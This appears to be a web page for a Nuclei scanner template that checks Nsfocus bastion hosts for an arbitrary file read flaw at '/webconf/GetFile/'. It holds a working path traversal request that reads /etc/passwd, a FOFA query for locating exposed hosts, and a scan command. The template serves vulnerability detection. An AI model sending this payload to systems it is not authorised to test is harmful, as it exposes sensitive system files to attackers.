Nsfocus - Arbitrary File Read

ID: nsfocus-lfi

Severity: high

Author: ritikchaddha

Tags: nsfocus,lfi

Description

Nsfocus bastion has an Arbitrary File Read Vulnerability through ‘/webconf/GetFile/’.

YAML Source

id: nsfocus-lfi

info:
  name: Nsfocus - Arbitrary File Read
  author: ritikchaddha
  severity: high
  description: |
    Nsfocus bastion has an Arbitrary File Read Vulnerability through '/webconf/GetFile/'.
  reference:
    - https://forum.butian.net/article/250
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="'/needUsbkey.php?username='"
  tags: nsfocus,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /user/requireLogin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(body), 'nsfocus')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /webconf/GetFile/index?path=../../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
# digest: 490a00463044022002d9652face68897b32730cc72e9fe04a37f6e91ba7166c7430859476b264b76022075b4c0a97653c0a9e7518833ec83c935804b209a5f41ce26aed1ca42491d5b35:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/nsfocus-lfi.yaml"

View on Github